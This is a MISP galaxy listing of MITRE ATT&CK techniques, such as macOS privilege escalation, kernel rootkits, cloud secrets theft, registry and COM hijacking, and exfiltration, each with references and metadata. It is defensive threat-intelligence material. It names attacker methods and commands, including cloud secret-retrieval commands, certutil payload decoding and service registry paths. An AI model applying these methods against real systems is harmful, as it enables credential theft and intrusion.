Adversaries may abuse AuthorizationExecuteWithPrivileges to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with Masquerading to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)
Internal MISP references
UUID b84903f0-c7d5-435d-a69e-de47cc3578c0 which can be used as unique global reference for Elevated Execution with Prompt - T1548.004 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1548/004 - webarchive
- https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html - webarchive
- https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg - webarchive
- https://objective-see.com/blog/blog_0x2A.html - webarchive
- https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1548.004 |
| kill_chain | ['attack-macOS:privilege-escalation', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['Process: OS API Execution', 'Process: Process Creation'] |
| mitre_platforms | ['macOS'] |
Related clusters
To see the related clusters, click here.
Application or System Exploitation - T1499.004
Adversaries may exploit software vulnerabilities that can cause an application or system to crash and deny availability to users. (Citation: Sucuri BIND9 August 2015) Some systems may automatically restart critical applications and services when crashes occur, but they can likely be re-exploited to cause a persistent denial of service (DoS) condition.
Adversaries may exploit known or zero-day vulnerabilities to crash applications and/or systems, which may also lead to dependent applications and/or systems to be in a DoS condition. Crashed or restarted applications or systems may also have other effects such as Data Destruction, Firmware Corruption, Service Stop etc. which may further cause a DoS condition and deny availability to critical information, applications and/or systems.
Internal MISP references
UUID 2bee5ffb-7a7a-4119-b1f2-158151b19ac0 which can be used as unique global reference for Application or System Exploitation - T1499.004 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1499.004 |
| kill_chain | ['attack-Windows:impact', 'attack-Azure-AD:impact', 'attack-Office-365:impact', 'attack-SaaS:impact', 'attack-IaaS:impact', 'attack-Linux:impact', 'attack-macOS:impact', 'attack-Google-Workspace:impact'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Windows', 'Azure AD', 'Office 365', 'SaaS', 'IaaS', 'Linux', 'macOS', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Temporary Elevated Cloud Access - T1548.005
Adversaries may abuse permission configurations that allow them to gain temporarily elevated access to cloud resources. Many cloud environments allow administrators to grant user or service accounts permission to request just-in-time access to roles, impersonate other accounts, pass roles onto resources and services, or otherwise gain short-term access to a set of privileges that may be distinct from their own.
Just-in-time access is a mechanism for granting additional roles to cloud accounts in a granular, temporary manner. This allows accounts to operate with only the permissions they need on a daily basis, and to request additional permissions as necessary. Sometimes just-in-time access requests are configured to require manual approval, while other times the desired permissions are automatically granted.(Citation: Azure Just in Time Access 2023)
Account impersonation allows user or service accounts to temporarily act with the permissions of another account. For example, in GCP users with the iam.serviceAccountTokenCreator role can create temporary access tokens or sign arbitrary payloads with the permissions of a service account, while service accounts with domain-wide delegation permission are permitted to impersonate Google Workspace accounts.(Citation: Google Cloud Service Account Authentication Roles)(Citation: Hunters Domain Wide Delegation Google Workspace 2023)(Citation: Google Cloud Just in Time Access 2023)(Citation: Palo Alto Unit 42 Google Workspace Domain Wide Delegation 2023) In Exchange Online, the ApplicationImpersonation role allows a service account to use the permissions associated with specified user accounts.(Citation: Microsoft Impersonation and EWS in Exchange)
Many cloud environments also include mechanisms for users to pass roles to resources that allow them to perform tasks and authenticate to other services. While the user that creates the resource does not directly assume the role they pass to it, they may still be able to take advantage of the role's access -- for example, by configuring the resource to perform certain actions with the permissions it has been granted. In AWS, users with the PassRole permission can allow a service they create to assume a given role, while in GCP, users with the iam.serviceAccountUser role can attach a service account to a resource.(Citation: AWS PassRole)(Citation: Google Cloud Service Account Authentication Roles)
While users require specific role assignments in order to use any of these features, cloud administrators may misconfigure permissions. This could result in escalation paths that allow adversaries to gain access to resources beyond what was originally intended.(Citation: Rhino Google Cloud Privilege Escalation)(Citation: Rhino Security Labs AWS Privilege Escalation)
Note: this technique is distinct from Additional Cloud Roles, which involves assigning permanent roles to accounts rather than abusing existing permissions structures to gain temporarily elevated access to resources. However, adversaries that compromise a sufficiently privileged account may grant another account they control Additional Cloud Roles that would allow them to also abuse these features. This may also allow for greater stealth than would be had by directly using the highly privileged account, especially when logs do not clarify when role impersonation is taking place.(Citation: CrowdStrike StellarParticle January 2022)
Internal MISP references
UUID 6fa224c7-5091-4595-bf15-3fc9fe2f2c7c which can be used as unique global reference for Temporary Elevated Cloud Access - T1548.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1548/005 - webarchive
- https://cloud.google.com/architecture/manage-just-in-time-privileged-access-to-project - webarchive
- https://cloud.google.com/iam/docs/service-account-permissions - webarchive
- https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_use_passrole.html - webarchive
- https://learn.microsoft.com/en-us/azure/azure-resource-manager/managed-applications/approve-just-in-time-access - webarchive
- https://learn.microsoft.com/en-us/exchange/client-developer/exchange-web-services/impersonation-and-ews-in-exchange - webarchive
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ - webarchive
- https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ - webarchive
- https://unit42.paloaltonetworks.com/critical-risk-in-google-workspace-delegation-feature/ - webarchive
- https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/ - webarchive
- https://www.hunters.security/en/blog/delefriend-a-newly-discovered-design-flaw-in-domain-wide-delegation-could-leave-google-workspace-vulnerable-for-takeover - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1548.005 |
| kill_chain | ['attack-IaaS:privilege-escalation', 'attack-Azure-AD:privilege-escalation', 'attack-Office-365:privilege-escalation', 'attack-Google-Workspace:privilege-escalation', 'attack-IaaS:defense-evasion', 'attack-Azure-AD:defense-evasion', 'attack-Office-365:defense-evasion', 'attack-Google-Workspace:defense-evasion'] |
| mitre_data_sources | ['User Account: User Account Modification'] |
| mitre_platforms | ['IaaS', 'Azure AD', 'Office 365', 'Google Workspace'] |
Related clusters
To see the related clusters, click here.
Kernel Modules and Extensions - T1547.006
Adversaries may modify the kernel to automatically execute programs on system boot. Loadable Kernel Modules (LKMs) are pieces of code that can be loaded and unloaded into the kernel upon demand. They extend the functionality of the kernel without the need to reboot the system. For example, one type of module is the device driver, which allows the kernel to access hardware connected to the system.(Citation: Linux Kernel Programming)
When used maliciously, LKMs can be a type of kernel-mode Rootkit that run with the highest operating system privilege (Ring 0).(Citation: Linux Kernel Module Programming Guide) Common features of LKM based rootkits include: hiding itself, selective hiding of files, processes and network activity, as well as log tampering, providing authenticated backdoors, and enabling root access to non-privileged users.(Citation: iDefense Rootkit Overview)
Kernel extensions, also called kext, are used in macOS to load functionality onto a system similar to LKMs for Linux. Since the kernel is responsible for enforcing security and the kernel extensions run as apart of the kernel, kexts are not governed by macOS security policies. Kexts are loaded and unloaded through kextload and kextunload commands. Kexts need to be signed with a developer ID that is granted privileges by Apple allowing it to sign Kernel extensions. Developers without these privileges may still sign kexts but they will not load unless SIP is disabled. If SIP is enabled, the kext signature is verified before being added to the AuxKC.(Citation: System and kernel extensions in macOS)
Since macOS Catalina 10.15, kernel extensions have been deprecated in favor of System Extensions. However, kexts are still allowed as "Legacy System Extensions" since there is no System Extension for Kernel Programming Interfaces.(Citation: Apple Kernel Extension Deprecation)
Adversaries can use LKMs and kexts to conduct Persistence and/or Privilege Escalation on a system. Examples have been found in the wild, and there are some relevant open source projects as well.(Citation: Volatility Phalanx2)(Citation: CrowdStrike Linux Rootkit)(Citation: GitHub Reptile)(Citation: GitHub Diamorphine)(Citation: RSAC 2015 San Francisco Patrick Wardle)(Citation: Synack Secure Kernel Extension Broken)(Citation: Securelist Ventir)(Citation: Trend Micro Skidmap)
Internal MISP references
UUID a1b52199-c8c5-438a-9ded-656f1d0888c6 which can be used as unique global reference for Kernel Modules and Extensions - T1547.006 in MISP communities and other software using the MISP galaxy
External references
- http://tldp.org/HOWTO/Module-HOWTO/x197.html - webarchive
- http://www.megasecurity.org/papers/Rootkits.pdf - webarchive
- http://www.tldp.org/LDP/lkmpg/2.4/html/x437.html - webarchive
- https://attack.mitre.org/techniques/T1547/006 - webarchive
- https://blog.trendmicro.com/trendlabs-security-intelligence/skidmap-linux-malware-uses-rootkit-capabilities-to-hide-cryptocurrency-mining-payload/ - webarchive
- https://developer.apple.com/business/documentation/Configuration-Profile-Reference.pdf - webarchive
- https://developer.apple.com/support/kernel-extensions/ - webarchive
- https://en.wikipedia.org/wiki/Loadable_kernel_module#Linux - webarchive
- https://github.com/f0rb1dd3n/Reptile - webarchive
- https://github.com/m0nad/Diamorphine - webarchive
- https://pikeralpha.wordpress.com/2017/08/29/user-approved-kernel-extension-loading/ - webarchive
- https://richard-purves.com/2017/11/09/mdm-and-the-kextpocalypse-2/ - webarchive
- https://securelist.com/the-ventir-trojan-assemble-your-macos-spy/67267/ - webarchive
- https://support.apple.com/guide/deployment/system-and-kernel-extensions-in-macos-depa5fb8376f/web - webarchive
- https://volatility-labs.blogspot.com/2012/10/phalanx-2-revealed-using-volatility-to.html - webarchive
- https://www.crowdstrike.com/blog/http-iframe-injecting-linux-rootkit/ - webarchive
- https://www.synack.com/2017/09/08/high-sierras-secure-kernel-extension-loading-is-broken/ - webarchive
- https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf - webarchive
- https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1547.006 |
| kill_chain | ['attack-macOS:persistence', 'attack-Linux:persistence', 'attack-macOS:privilege-escalation', 'attack-Linux:privilege-escalation'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'File: File Modification', 'Kernel: Kernel Module Load', 'Process: Process Creation'] |
| mitre_platforms | ['macOS', 'Linux'] |
Related clusters
To see the related clusters, click here.
Cloud Secrets Management Stores - T1555.006
Adversaries may acquire credentials from cloud-native secret management solutions such as AWS Secrets Manager, GCP Secret Manager, Azure Key Vault, and Terraform Vault.
Secrets managers support the secure centralized management of passwords, API keys, and other credential material. Where secrets managers are in use, cloud services can dynamically acquire credentials via API requests rather than accessing secrets insecurely stored in plain text files or environment variables.
If an adversary is able to gain sufficient privileges in a cloud environment – for example, by obtaining the credentials of high-privileged Cloud Accounts or compromising a service that has permission to retrieve secrets – they may be able to request secrets from the secrets manager. This can be accomplished via commands such as get-secret-value in AWS, gcloud secrets describe in GCP, and az key vault secret show in Azure.(Citation: Permiso Scattered Spider 2023)(Citation: Sysdig ScarletEel 2.0 2023)(Citation: AWS Secrets Manager)(Citation: Google Cloud Secrets)(Citation: Microsoft Azure Key Vault)
Note: this technique is distinct from Cloud Instance Metadata API in that the credentials are being directly requested from the cloud secrets manager, rather than through the medium of the instance metadata API.
Internal MISP references
UUID cfb525cc-5494-401d-a82b-2539ca46a561 which can be used as unique global reference for Cloud Secrets Management Stores - T1555.006 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1555/006 - webarchive
- https://cloud.google.com/secret-manager/docs/view-secret-details - webarchive
- https://docs.aws.amazon.com/secretsmanager/latest/userguide/retrieving-secrets.html - webarchive
- https://learn.microsoft.com/en-us/azure/key-vault/secrets/quick-create-cli - webarchive
- https://permiso.io/blog/lucr-3-scattered-spider-getting-saas-y-in-the-cloud - webarchive
- https://sysdig.com/blog/scarleteel-2-0/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1555.006 |
| kill_chain | ['attack-IaaS:credential-access'] |
| mitre_data_sources | ['Cloud Service: Cloud Service Enumeration'] |
| mitre_platforms | ['IaaS'] |
Related clusters
To see the related clusters, click here.
Modify Cloud Compute Configurations - T1578.005
Adversaries may modify settings that directly affect the size, locations, and resources available to cloud compute infrastructure in order to evade defenses. These settings may include service quotas, subscription associations, tenant-wide policies, or other configurations that impact available compute. Such modifications may allow adversaries to abuse the victim’s compute resources to achieve their goals, potentially without affecting the execution of running instances and/or revealing their activities to the victim.
For example, cloud providers often limit customer usage of compute resources via quotas. Customers may request adjustments to these quotas to support increased computing needs, though these adjustments may require approval from the cloud provider. Adversaries who compromise a cloud environment may similarly request quota adjustments in order to support their activities, such as enabling additional Resource Hijacking without raising suspicion by using up a victim’s entire quota.(Citation: Microsoft Cryptojacking 2023) Adversaries may also increase allowed resource usage by modifying any tenant-wide policies that limit the sizes of deployed virtual machines.(Citation: Microsoft Azure Policy)
Adversaries may also modify settings that affect where cloud resources can be deployed, such as enabling Unused/Unsupported Cloud Regions. In Azure environments, an adversary who has gained access to a Global Administrator account may create new subscriptions in which to deploy resources, or engage in subscription hijacking by transferring an existing pay-as-you-go subscription from a victim tenant to an adversary-controlled tenant.(Citation: Microsoft Peach Sandstorm 2023) This will allow the adversary to use the victim’s compute resources without generating logs on the victim tenant.(Citation: Microsoft Azure Policy) (Citation: Microsoft Subscription Hijacking 2022)
Internal MISP references
UUID ca00366b-83a1-4c7b-a0ce-8ff950a7c87f which can be used as unique global reference for Modify Cloud Compute Configurations - T1578.005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1578/005 - webarchive
- https://learn.microsoft.com/en-us/azure/governance/policy/samples/built-in-policies#compute - webarchive
- https://techcommunity.microsoft.com/t5/microsoft-365-defender-blog/hunt-for-compromised-azure-subscriptions-using-microsoft/ba-p/3607121 - webarchive
- https://www.microsoft.com/en-us/security/blog/2023/07/25/cryptojacking-understanding-and-defending-against-cloud-compute-resource-abuse/ - webarchive
- https://www.microsoft.com/en-us/security/blog/2023/09/14/peach-sandstorm-password-spray-campaigns-enable-intelligence-collection-at-high-value-targets/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1578.005 |
| kill_chain | ['attack-IaaS:defense-evasion'] |
| mitre_data_sources | ['Cloud Service: Cloud Service Modification'] |
| mitre_platforms | ['IaaS'] |
Related clusters
To see the related clusters, click here.
Services Registry Permissions Weakness - T1574.011
Adversaries may execute their own malicious payloads by hijacking the Registry entries used by services. Adversaries may use flaws in the permissions for Registry keys related to services to redirect from the originally specified executable to one that they control, in order to launch their own code when a service starts. Windows stores local service configuration information in the Registry under HKLM\SYSTEM\CurrentControlSet\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, PowerShell, or Reg. Access to Registry keys is controlled through access control lists and user permissions. (Citation: Registry Key Security)(Citation: malware_hides_service)
If the permissions for users and groups are not properly set and allow access to the Registry keys for a service, adversaries may change the service's binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to establish persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).
Adversaries may also alter other Registry keys in the service’s Registry tree. For example, the FailureCommand key may be changed so that the service is executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: Kansa Service related collectors)(Citation: Tweet Registry Perms Weakness)
The Performance key contains the name of a driver service's performance DLL and the names of several exported functions in the DLL.(Citation: microsoft_services_registry_tree) If the Performance key is not already present and if an adversary-controlled user has the Create Subkey permission, adversaries may create the Performance key in the service’s Registry tree to point to a malicious DLL.(Citation: insecure_reg_perms)
Adversaries may also add the Parameters key, which stores driver-specific data, or other custom subkeys for their malicious services to establish persistence or enable other malicious activities.(Citation: microsoft_services_registry_tree)(Citation: troj_zegost) Additionally, If adversaries launch their malicious services using svchost.exe, the service’s file may be identified using HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\servicename\Parameters\ServiceDll.(Citation: malware_hides_service)
Internal MISP references
UUID 17cc750b-e95b-4d7d-9dde-49e0de24148c which can be used as unique global reference for Services Registry Permissions Weakness - T1574.011 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1574/011 - webarchive
- https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns - webarchive
- https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree - webarchive
- https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-key-security-and-access-rights?redirectedfrom=MSDN - webarchive
- https://itm4n.github.io/windows-registry-rpceptmapper-eop/ - webarchive
- https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html - webarchive
- https://twitter.com/r0wdy_/status/936365549553991680 - webarchive
- https://www.bleepingcomputer.com/tutorials/how-malware-hides-as-a-service/ - webarchive
- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/troj_zegost - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1574.011 |
| kill_chain | ['attack-Windows:persistence', 'attack-Windows:privilege-escalation', 'attack-Windows:defense-evasion'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: Process Creation', 'Service: Service Modification', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Component Object Model Hijacking - T1546.015
Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry.
Adversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection.
Internal MISP references
UUID bc0f5e80-91c0-4e04-9fbb-e4e332c85dae which can be used as unique global reference for Component Object Model Hijacking - T1546.015 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1546/015 - webarchive
- https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence - webarchive
- https://msdn.microsoft.com/library/ms694363.aspx - webarchive
- https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1546.015 |
| kill_chain | ['attack-Windows:privilege-escalation', 'attack-Windows:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows'] |
Related clusters
To see the related clusters, click here.
Deobfuscate/Decode Files or Information - T1140
Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
One such example is the use of certutil to decode a remote access tool portable executable file that has been hidden inside a certificate file.(Citation: Malwarebytes Targeted Attack against Saudi Arabia) Another example is using the Windows copy /b command to reassemble binary fragments into a malicious payload.(Citation: Carbon Black Obfuscation Sept 2016)
Sometimes a user's action may be required to open it for deobfuscation or decryption as part of User Execution. The user may also be required to input a password to open a password protected compressed/encrypted file that was provided by the adversary. (Citation: Volexity PowerDuke November 2016)
Internal MISP references
UUID 3ccef7ae-cb5e-48f6-8302-897105fbf55c which can be used as unique global reference for Deobfuscate/Decode Files or Information - T1140 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1140 - webarchive
- https://blog.malwarebytes.com/cybercrime/social-engineering-cybercrime/2017/03/new-targeted-attack-saudi-arabia-government/ - webarchive
- https://www.carbonblack.com/2016/09/23/security-advisory-variants-well-known-adware-families-discovered-include-sophisticated-obfuscation-techniques-previously-associated-nation-state-attacks/ - webarchive
- https://www.volexity.com/blog/2016/11/09/powerduke-post-election-spear-phishing-campaigns-targeting-think-tanks-and-ngos/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1140 |
| kill_chain | ['attack-Windows:defense-evasion', 'attack-Linux:defense-evasion', 'attack-macOS:defense-evasion'] |
| mitre_data_sources | ['File: File Modification', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Obtain domain/IP registration information - T1251
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
For a computing resource to be accessible to the public, domain names and IP addresses must be registered with an authorized organization. (Citation: Google Domains WHOIS) (Citation: FunAndSun2012) (Citation: Scasny2015)
Internal MISP references
UUID 46017368-6e09-412b-a29c-385be201cc03 which can be used as unique global reference for Obtain domain/IP registration information - T1251 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1251 |
| kill_chain | ['pre-attack:technical-information-gathering'] |
Assign KITs/KIQs into categories - T1228
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Leadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)
Internal MISP references
UUID a86a21a4-6304-4df3-aa6d-08114c47d48f which can be used as unique global reference for Assign KITs/KIQs into categories - T1228 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1228 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Receive operator KITs/KIQs tasking - T1235
This object is deprecated as its content has been merged into the enterprise domain. Please see the PRE matrix for its replacement. The prior content of this page has been preserved here.
Analysts may receive intelligence requirements from leadership and begin research process to satisfy a requirement. Part of this process may include delineating between needs and wants and thinking through all the possible aspects associating with satisfying a requirement. (Citation: FBIIntelligencePrimer)
Internal MISP references
UUID 7863b7f1-c18a-4aad-a6cf-4aa6d8797531 which can be used as unique global reference for Receive operator KITs/KIQs tasking - T1235 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1235 |
| kill_chain | ['pre-attack:priority-definition-planning'] |
Data Transfer Size Limits - T1030
An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.
Internal MISP references
UUID c3888c54-775d-4b2f-b759-75a2ececcbfd which can be used as unique global reference for Data Transfer Size Limits - T1030 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1030 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Data from Local System - T1005
Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Adversaries may do this using a Command and Scripting Interpreter, such as cmd as well as a Network Device CLI, which have functionality to interact with the file system to gather information.(Citation: show_run_config_cmd_cisco) Adversaries may also use Automated Collection on the local system.
Internal MISP references
UUID 3c4a2599-71ee-4405-ba1e-0e28414b4bc5 which can be used as unique global reference for Data from Local System - T1005 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1005 - webarchive
- https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/show_protocols_through_showmon.html#wp2760878733 - webarchive
- https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits - webarchive
- https://www.us-cert.gov/ncas/alerts/TA18-106A - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1005 |
| kill_chain | ['attack-Linux:collection', 'attack-macOS:collection', 'attack-Windows:collection', 'attack-Network:collection'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Process: OS API Execution', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Exfiltration Over C2 Channel - T1041
Adversaries may steal data by exfiltrating it over an existing command and control channel. Stolen data is encoded into the normal communications channel using the same protocol as command and control communications.
Internal MISP references
UUID 92d7da27-2d91-488e-a00c-059dc162766d which can be used as unique global reference for Exfiltration Over C2 Channel - T1041 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1041 |
| kill_chain | ['attack-Linux:exfiltration', 'attack-macOS:exfiltration', 'attack-Windows:exfiltration'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Exploitation of Remote Services - T1210
Adversaries may exploit remote services to gain unauthorized access to internal systems once inside of a network. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. A common goal for post-compromise exploitation of remote services is for lateral movement to enable access to a remote system.
An adversary may need to determine if the remote system is in a vulnerable state, which may be done through Network Service Discovery or other Discovery methods looking for common, vulnerable software that may be deployed in the network, the lack of certain patches that may indicate vulnerabilities, or security software that may be used to detect or contain remote exploitation. Servers are likely a high value target for lateral movement exploitation, but endpoint systems may also be at risk if they provide an advantage or access to additional resources.
There are several well-known vulnerabilities that exist in common services such as SMB (Citation: CIS Multiple SMB Vulnerabilities) and RDP (Citation: NVD CVE-2017-0176) as well as applications that may be used within internal networks such as MySQL (Citation: NVD CVE-2016-6662) and web server services.(Citation: NVD CVE-2014-7169)
Depending on the permissions level of the vulnerable remote service an adversary may achieve Exploitation for Privilege Escalation as a result of lateral movement exploitation as well.
Internal MISP references
UUID 9db0cf3a-a3c9-4012-8268-123b9db6fd82 which can be used as unique global reference for Exploitation of Remote Services - T1210 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1210 - webarchive
- https://nvd.nist.gov/vuln/detail/CVE-2014-7169 - webarchive
- https://nvd.nist.gov/vuln/detail/CVE-2016-6662 - webarchive
- https://nvd.nist.gov/vuln/detail/CVE-2017-0176 - webarchive
- https://www.cisecurity.org/advisory/multiple-vulnerabilities-in-microsoft-windows-smb-server-could-allow-for-remote-code-execution/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1210 |
| kill_chain | ['attack-Linux:lateral-movement', 'attack-Windows:lateral-movement', 'attack-macOS:lateral-movement'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'Windows', 'macOS'] |
System Network Configuration Discovery - T1016
Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp, ipconfig/ifconfig, nbtstat, and route.
Adversaries may also leverage a Network Device CLI on network devices to gather information about configurations and settings, such as IP addresses of configured interfaces and static/dynamic routes (e.g. show ip route, show ip interface).(Citation: US-CERT-TA18-106A)(Citation: Mandiant APT41 Global Intrusion )
Adversaries may use the information from System Network Configuration Discovery during automated discovery to shape follow-on behaviors, including determining certain access within the target network and what actions to do next.
Internal MISP references
UUID 707399d6-ab3e-4963-9315-d9d3818cd6a0 which can be used as unique global reference for System Network Configuration Discovery - T1016 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1016 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery', 'attack-Network:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'Process: OS API Execution', 'Process: Process Creation', 'Script: Script Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Replication Through Removable Media - T1091
Adversaries may move onto systems, possibly those on disconnected or air-gapped networks, by copying malware to removable media and taking advantage of Autorun features when the media is inserted into a system and executes. In the case of Lateral Movement, this may occur through modification of executable files stored on removable media or by copying malware and renaming it to look like a legitimate file to trick users into executing it on a separate system. In the case of Initial Access, this may occur through manual manipulation of the media, modification of systems used to initially format the media, or modification to the media's firmware itself.
Mobile devices may also be used to infect PCs with malware if connected via USB.(Citation: Exploiting Smartphone USB ) This infection may be achieved using devices (Android, iOS, etc.) and, in some instances, USB charging cables.(Citation: Windows Malware Infecting Android)(Citation: iPhone Charging Cable Hack) For example, when a smartphone is connected to a system, it may appear to be mounted similar to a USB-connected disk drive. If malware that is compatible with the connected system is on the mobile device, the malware could infect the machine (especially if Autorun features are enabled).
Internal MISP references
UUID 3b744087-9945-4a6f-91e8-9dbceda417a4 which can be used as unique global reference for Replication Through Removable Media - T1091 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1091 - webarchive
- https://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.226.3427&rep=rep1&type=pdf - webarchive
- https://techcrunch.com/2019/08/12/iphone-charging-cable-hack-computer-def-con/ - webarchive
- https://www.computerworld.com/article/2486903/windows-malware-tries-to-infect-android-devices-connected-to-pcs.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1091 |
| kill_chain | ['attack-Windows:lateral-movement', 'attack-Windows:initial-access'] |
| mitre_data_sources | ['Drive: Drive Creation', 'File: File Access', 'File: File Creation', 'Process: Process Creation'] |
| mitre_platforms | ['Windows'] |
